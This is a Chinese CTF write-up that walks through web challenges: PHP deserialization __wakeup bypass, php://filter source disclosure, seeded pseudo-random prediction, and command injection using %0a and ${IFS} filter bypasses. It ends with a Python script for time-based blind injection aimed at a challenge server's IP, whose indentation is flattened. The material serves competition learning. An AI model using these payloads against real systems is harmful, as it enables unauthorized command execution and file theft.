網絡內生安全試驗場-CTF答題奪旗賽(第四季)web知識


##nani  文件包含和魔法函數 _WAKEUP() 的跳過

在url中直接嘗試php為協議 php://filter 拿到use.php的源碼

 

 

 源碼中 _wakeup()魔術方法將convent對象中的warn變量賦變為空值  // _WAKEUP()會在反序列化時觸發,__wakeup()函數 該魔術方法在反序列化的時候自動調用,為反序列化生成的對象做一些初始化操作

所以當你覆蓋warn變量時 warn同時也被賦為空 這里就需要跳過魔術方法

參考https://www.cnblogs.com/CubicZ/p/11938419.html

當反序列化字符串中,表示屬性個數的值大於其真實值,則跳過__wakeup()執行。

 

 

linnux目錄一般再var里面

 

 

 

直接訪問txt就可拿到flag ,或者可以用file_get_contents,但是太麻煩,如果是不在這個目錄的話就可以用file_get_contents

再者 ,由於這是linux服務器 ,直接 system('ls');  然后就能查看當前目錄 然后看到這個txt 或者將ls 換成dir 

 

 

##random    知識點偽隨機數

參考 https://www.cnblogs.com/zaqzzz/p/9997855.html

payload

seed=12345&key=162946439&hello=file(%27flag.php%27)

或者hello=);print_r(file('./flag.php'));//     特別注意后面又注釋  閉合前面的括號后面加個注釋最好    // 在php可以注釋

 

 

##admin   這道題就不說了bugku里面的原題 php為協議和反序列化

 

 

###ping   命令執行漏洞 

參考到這篇文章 https://www.cnblogs.com/zcz1995/p/10296366.html  

strcmp 用數組繞過 

php為協議拿到源碼

<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}

shell_exec( 'ping -c 4 ' . $target );   //命令執行漏洞 但是這里沒過濾全  %0a可以

 

直接訪問就行了

 

post1  命令執行與繞過

參考這篇好文章!https://blog.csdn.net/silence1_/article/details/96135760

另外  cat可以用cut代替 

cut用法  cut -c/-b  1-100  flag.txt                    //-c 按字符分隔  -b 按字節分隔  1-100 一道100列    另外 如果不寫 1-100 寫成 1 或者是 2 或者是3 那么將只顯示 第1 或者是 第2 或者第3 列

直接構造payload為 a=cut${IFS}-c${IFS}1-${IFS}flag.txt      這里直接1- 表示1到最后  可以讀取完

 

post2  命令注入的盲注 還要加上第一題的繞過

順帶提一下 盲注的語句這次是  a=`cut -c 1  flag.txt`;[ $a="str" ] && sleep 3  // 這個語句適合這道題 ,然而在實際中 ,cut -c n 是顯示第n列 不只是一個字符 而是一列字符,所以腳本有待提升, 注意[]中的格式 

參考 https://blog.csdn.net/shuai0845/article/details/86532142

腳本

import requests
import string
import time
url='http://120.55.43.255:22712'
str1=string.ascii_lowercase+string.ascii_uppercase+string.digits+'{'+'}'+'_'
print(str1)
count=0
flag=''
sign=0
for i in range(1,50):
count+=1
payload=''
payload+='a=`cut${IFS}-c${IFS}'
payload+=str(count)
payload+='${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"'
payload+='}'
payload+='"${IFS}]${IFS}&&${IFS}sleep${IFS}3'
data={'cmd':payload}
a=time.time()
r=requests.post(url,data=data)
b=time.time()
if(b-a)>2:
print("find")
flaglen=count
print(count)
break
count=0
for i in range(flaglen):
count+=1
sign=0
for letter in str1:
payload=''
payload+='a=`cut${IFS}-c${IFS}'
payload+=str(count)
payload+='${IFS}flag.txt`;${IFS}[${IFS}$a${IFS}=${IFS}"'
payload+=letter
payload+='"${IFS}]${IFS}&&${IFS}sleep${IFS}3'
data={'cmd':payload}
a=time.time()
r=requests.post(url,data=data)
b=time.time()
if(b-a)>2:
flag+=letter
print(flag)
break
print(flag)

最終跑出答案

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM